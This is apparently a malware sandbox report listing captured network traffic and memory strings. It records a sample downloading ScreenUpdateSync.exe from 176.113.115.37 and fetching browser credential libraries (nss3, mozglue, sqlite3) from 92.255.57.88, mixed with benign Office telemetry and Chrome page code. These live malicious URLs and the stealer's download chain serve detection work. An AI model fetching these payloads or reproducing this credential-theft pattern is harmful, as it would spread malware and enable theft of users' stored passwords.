Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704150v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704151v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule226009v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /ScreenUpdateSync.exe HTTP/1.1User-Agent: ShareScreenHost: 176.113.115.37
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 92.255.57.88Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /7550b1c08332241a/sqlite3.dll HTTP/1.1Host: 92.255.57.88Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /7550b1c08332241a/freebl3.dll HTTP/1.1Host: 92.255.57.88Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /7550b1c08332241a/mozglue.dll HTTP/1.1Host: 92.255.57.88Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /7550b1c08332241a/msvcp140.dll HTTP/1.1Host: 92.255.57.88Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /7550b1c08332241a/nss3.dll HTTP/1.1Host: 92.255.57.88Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /7550b1c08332241a/softokn3.dll HTTP/1.1Host: 92.255.57.88Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /7550b1c08332241a/vcruntime140.dll HTTP/1.1Host: 92.255.57.88Cache-Control: no-cache

Source: chrome.exe, 00000005.00000002.2049891644.00006C40028D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: %https://www.youtube.com/?feature=ytca equals www.youtube.com (Youtube)
Source: chrome.exe, 00000005.00000002.2049891644.00006C40028D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: @https://www.youtube.com/s/notifications/manifest/cr_install.html equals www.youtube.com (Youtube)
Source: chrome.exe, 00000005.00000003.1973798467.00006C4003124000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1973645700.00006C40025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1973888623.00006C40030F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: const FACEBOOK_APP_ID=738026486351791;class DoodleShareDialogElement extends PolymerElement{static get is(){return"ntp-doodle-share-dialog"}static get template(){return getTemplate$3()}static get properties(){return{title:String,url:Object}}onFacebookClick_(){const url="https://www.facebook.com/dialog/share"+`?app_id=${FACEBOOK_APP_ID}`+`&href=${encodeURIComponent(this.url.url)}`+`&hashtag=${encodeURIComponent("#GoogleDoodle")}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kFacebook)}onTwitterClick_(){const url="https://twitter.com/intent/tweet"+`?text=${encodeURIComponent(`${this.title}\n${this.url.url}`)}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kTwitter)}onEmailClick_(){const url=`mailto:?subject=${encodeURIComponent(this.title)}`+`&body=${encodeURIComponent(this.url.url)}`;WindowProxy.getInstance().navigate(url);this.notifyShare_(DoodleShareChannel.kEmail)}onCopyClick_(){this.$.url.select();navigator.clipboard.writeText(this.url.url);this.notifyShare_(DoodleShareChannel.kLinkCopy)}onCloseClick_(){this.$.dialog.close()}notifyShare_(channel){this.dispatchEvent(new CustomEvent("share",{detail:channel}))}}customElements.define(DoodleShareDialogElement.is,DoodleShareDialogElement);function getTemplate$2(){return html`<!--_html_template_start_--><style include="cr-hidden-style">:host{--ntp-logo-height:200px;display:flex;flex-direction:column;flex-shrink:0;justify-content:flex-end;min-height:var(--ntp-logo-height)}:host([reduced-logo-space-enabled_]){--ntp-logo-height:168px}:host([doodle-boxed_]){justify-content:flex-end}#logo{forced-color-adjust:none;height:92px;width:272px}:host([single-colored]) #logo{-webkit-mask-image:url(icons/google_logo.svg);-webkit-mask-repeat:no-repeat;-webkit-mask-size:100%;background-color:var(--ntp-logo-color)}:host(:not([single-colored])) #logo{background-image:url(icons/google_logo.svg)}#imageDoodle{cursor:pointer;outline:0}#imageDoodle[tabindex='-1']{cursor:auto}:host([doodle-boxed_]) #imageDoodle{background-color:var(--ntp-logo-box-color);border-radius:20px;padding:16px 24px}:host-context(.focus-outline-visible) #imageDoodle:focus{box-shadow:0 0 0 2px rgba(var(--google-blue-600-rgb),.4)}#imageContainer{display:flex;height:fit-content;position:relative;width:fit-content}#image{max-height:var(--ntp-logo-height);max-width:100%}:host([doodle-boxed_]) #image{max-height:160px}:host([doodle-boxed_][reduced-logo-space-enabled_]) #image{max-height:128px}#animation{height:100%;pointer-events:none;position:absolute;width:100%}#shareButton{background-color:var(--ntp-logo-share-button-background-color,none);border:none;height:var(--ntp-logo-share-button-height,0);left:var(--ntp-logo-share-button-x,0);min-width:var(--ntp-logo-share-button-width,0);opacity:.8;outline:initial;padding:2px;position:absolute;top:var(--ntp-logo-share-button-y,0);width:var(--ntp-logo-share-button-width,0)}#shareButton:hover{opacity:1}#shareButton img{height:100%;width:100%}#iframe{border:none;
Source: chrome.exe, 00000005.00000003.1973798467.00006C4003124000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1973645700.00006C40025D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000005.00000003.1973888623.00006C40030F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: const FACEBOOK_APP_ID=738026486351791;class DoodleShareDialogElement extends PolymerElement{static get is(){return"ntp-doodle-share-dialog"}static get template(){return getTemplate$3()}static get properties(){return{title:String,url:Object}}onFacebookClick_(){const url="https://www.facebook.com/dialog/share"+`?app_id=${FACEBOOK_APP_ID}`+`&href=${encodeURIComponent(this.url.url)}`+`&hashtag=${encodeURIComponent("#GoogleDoodle")}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kFacebook)}onTwitterClick_(){const url="https://twitter.com/intent/tweet"+`?text=${encodeURIComponent(`${this.title}\n${this.url.url}`)}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kTwitter)}onEmailClick_(){const url=`mailto:?subject=${encodeURIComponent(this.title)}`+`&body=${encodeURIComponent(this.url.url)}`;WindowProxy.getInstance().navigate(url);this.notifyShare_(DoodleShareChannel.kEmail)}onCopyClick_(){this.$.url.select();navigator.clipboard.writeText(this.url.url);this.notifyShare_(DoodleShareChannel.kLinkCopy)}onCloseClick_(){this.$.dialog.close()}notifyShare_(channel){this.dispatchEvent(new CustomEvent("share",{detail:channel}))}}customElements.define(DoodleShareDialogElement.is,DoodleShareDialogElement);function getTemplate$2(){return html`<!--_html_template_start_--><style include="cr-hidden-style">:host{--ntp-logo-height:200px;display:flex;flex-direction:column;flex-shrink:0;justify-content:flex-end;min-height:var(--ntp-logo-height)}:host([reduced-logo-space-enabled_]){--ntp-logo-height:168px}:host([doodle-boxed_]){justify-content:flex-end}#logo{forced-color-adjust:none;height:92px;width:272px}:host([single-colored]) #logo{-webkit-mask-image:url(icons/google_logo.svg);-webkit-mask-repeat:no-repeat;-webkit-mask-size:100%;background-color:var(--ntp-logo-color)}:host(:not([single-colored])) #logo{background-image:url(icons/google_logo.svg)}#imageDoodle{cursor:pointer;outline:0}#imageDoodle[tabindex='-1']{cursor:auto}:host([doodle-boxed_]) #imageDoodle{background-color:var(--ntp-logo-box-color);border-radius:20px;padding:16px 24px}:host-context(.focus-outline-visible) #imageDoodle:focus{box-shadow:0 0 0 2px rgba(var(--google-blue-600-rgb),.4)}#imageContainer{display:flex;height:fit-content;position:relative;width:fit-content}#image{max-height:var(--ntp-logo-height);max-width:100%}:host([doodle-boxed_]) #image{max-height:160px}:host([doodle-boxed_][reduced-logo-space-enabled_]) #image{max-height:128px}#animation{height:100%;pointer-events:none;position:absolute;width:100%}#shareButton{background-color:var(--ntp-logo-share-button-background-color,none);border:none;height:var(--ntp-logo-share-button-height,0);left:var(--ntp-logo-share-button-x,0);min-width:var(--ntp-logo-share-button-width,0);opacity:.8;outline:initial;padding:2px;position:absolute;top:var(--ntp-logo-share-button-y,0);width:var(--ntp-logo-share-button-width,0)}#shareButton:hover{opacity:1}#shareButton img{height:100%;width:100%}#iframe{border:none;
Source: chrome.exe, 00000005.00000002.2049891644.00006C40028D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/: equals www.youtube.com (Youtube)
Source: chrome.exe, 00000005.00000002.2049891644.00006C40028D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/J equals www.youtube.com (Youtube)
Source: chrome.exe, 00000005.00000002.2046600504.00006C40024C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/s/notifications/manifest/cr_install.html equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: post-to-me.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com

Source: unknown

HTTP traffic detected: POST /RST2.srf HTTP/1.0Connection: Keep-AliveContent-Type: application/soap+xmlAccept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})Content-Length: 3592Host: login.live.com

Source: IeccNv7PP6.exe, 00000000.00000002.4138763956.0000000002E4B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.37/ScreenUpdateSync.exe
Source: IeccNv7PP6.exe, 00000000.00000003.4112641633.0000000002E49000.00000004.00000020.00020000.00000000.sdmp, IeccNv7PP6.exe, 00000000.00000002.4138763956.0000000002E4B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.37/ScreenUpdateSync.exe2
Source: IeccNv7PP6.exe, 00000000.00000002.4135927092.0000000000400000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://176.113.115.37/ScreenUpdateSync.exe48rt8k8rt4rwe5rbSOFTWARE
Source: IeccNv7PP6.exe, 00000000.00000003.4112641633.0000000002E49000.00000004.00000020.00020000.00000000.sdmp, IeccNv7PP6.exe, 00000000.00000002.4138763956.0000000002E4B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.37/ScreenUpdateSync.exee
Source: 795F.tmp.exe, 00000002.00000002.2393604821.0000000000567000.00000040.00000001.01000000.00000006.sdmp, 795F.tmp.exe, 00000002.00000002.2394084753.000000000085E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://92.255.57.88
Source: 795F.tmp.exe, 00000002.00000002.2394084753.00000000008A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://92.255.57.88/
Source: 795F.tmp.exe, 00000002.00000002.2394084753.00000000008C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://92.255.57.88/7550
Source: 795F.tmp.exe, 00000002.00000002.2394084753.00000000008A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://92.255.57.88/7550b1c08332241a/freebl3.dll
Source: 795F.tmp.exe, 00000002.00000002.2394084753.00000000008A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://92.255.57.88/7550b1c08332241a/freebl3.dllf
Source: 795F.tmp.exe, 00000002.00000002.2394084753.00000000008A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://92.255.57.88/7550b1c08332241a/mozglue.dllF
Source: 795F.tmp.exe, 00000002.00000002.2394084753.00000000008A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://92.255.57.88/7550b1c08332241a/mozglue.dllb
Source: 795F.tmp.exe, 00000002.00000002.2394084753.00000000008A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://92.255.57.88/7550b1c08332241a/msvcp140.dll
Source: 795F.tmp.exe, 00000002.00000002.2394084753.00000000008A1000.00000004.00000020.00020000.00000000.sdmp, 795F.tmp.exe, 00000002.00000002.2394084753.000000000085E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://92.255.57.88/7550b1c08332241a/nss3.dll
Source: 795F.tmp.exe, 00000002.00000002.2394084753.00000000008A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://92.255.57.88/7550b1c08332241a/nss3.dllLocal
Source: 795F.tmp.exe, 00000002.00000002.2394084753.00000000008A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://92.255.57.88/7550b1c08332241a/softokn3.dll
